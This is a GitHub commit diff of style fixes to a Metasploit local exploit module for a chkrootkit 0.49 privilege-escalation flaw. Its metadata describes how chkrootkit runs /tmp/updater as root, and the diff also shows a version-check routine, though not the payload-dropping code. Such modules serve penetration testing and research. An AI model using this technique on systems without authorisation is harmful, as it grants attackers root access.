Skip to content

Commit 44d477a

Browse files
committed
Fix some rubocop warnings
1 parent 70407a4 commit 44d477a

File tree

1 file changed

+11
-15
lines changed

1 file changed

+11
-15
lines changed

modules/exploits/linux/local/chkrootkit.rb

Lines changed: 11 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -13,22 +13,22 @@ class Metasploit4 < Msf::Exploit::Local
1313

1414
include Msf::Exploit::Local::Linux
1515

16-
def initialize(info={})
17-
super( update_info( info, {
16+
def initialize(info = {})
17+
super(update_info(info, {
1818
'Name' => 'Chkrootkit 0.49 Local Privilege Escalation',
19-
'Description' => %q{
19+
'Description' => %q(
2020
Chkrootkit before 0.50 will run as root any executable file named
2121
/tmp/updater, allowing a trivial privsec.
2222
2323
WfsDelay is set to 24h by default, since this is how often a chkrootkit
2424
scan is scheduled by default.
25-
},
25+
),
2626
'License' => MSF_LICENSE,
2727
'Author' => [
2828
'Thomas Stangner', # original exploit
2929
'Julien (jvoisin) Voisin' # metasploit module
3030
],
31-
'Platform' => %w{ bsd linux unix solaris osx},
31+
'Platform' => %w( bsd linux unix solaris osx),
3232
'SessionTypes' => [ 'shell', 'meterpreter' ],
3333
'References' =>
3434
[
@@ -37,26 +37,23 @@ def initialize(info={})
3737
[ 'CWE', '20' ],
3838
[ 'EDB', '33899' ],
3939
[ 'OSVDB', '107710' ],
40-
[ 'URL', 'http://seclists.org/oss-sec/2014/q2/430' ],
40+
[ 'URL', 'http://seclists.org/oss-sec/2014/q2/430' ]
4141
],
4242
'DisclosureDate' => "Jun 28 2014",
4343
'Arch' => ARCH_CMD,
44-
'DefaultOptions' => { 'WfsDelay' => 60*60*24 },
44+
'DefaultOptions' => { 'WfsDelay' => 60 * 60 * 24 },
4545
'Privileged' => true,
46-
'Targets' =>
47-
[
48-
[ 'Generic', {} ],
49-
],
46+
'Targets' => [[ 'Generic', {} ]],
5047
'Stance' => Msf::Exploit::Stance::Passive,
51-
'DefaultTarget' => 0,}))
48+
'DefaultTarget' => 0 }))
5249
end
5350

5451
def check
5552
res = cmd_exec('/usr/sbin/chkrootkit -V')
5653
if res && res =~ /chkrootkit version 0\.[^5]/
57-
Exploit::CheckCode::Appears
54+
Exploit::CheckCode::Appears
5855
else
59-
Exploit::CheckCode::Safe
56+
Exploit::CheckCode::Safe
6057
end
6158
end
6259

@@ -78,4 +75,3 @@ def exploit
7875
register_file_for_cleanup('/tmp/update')
7976
end
8077
end
81-

0 commit comments

Comments
 (0)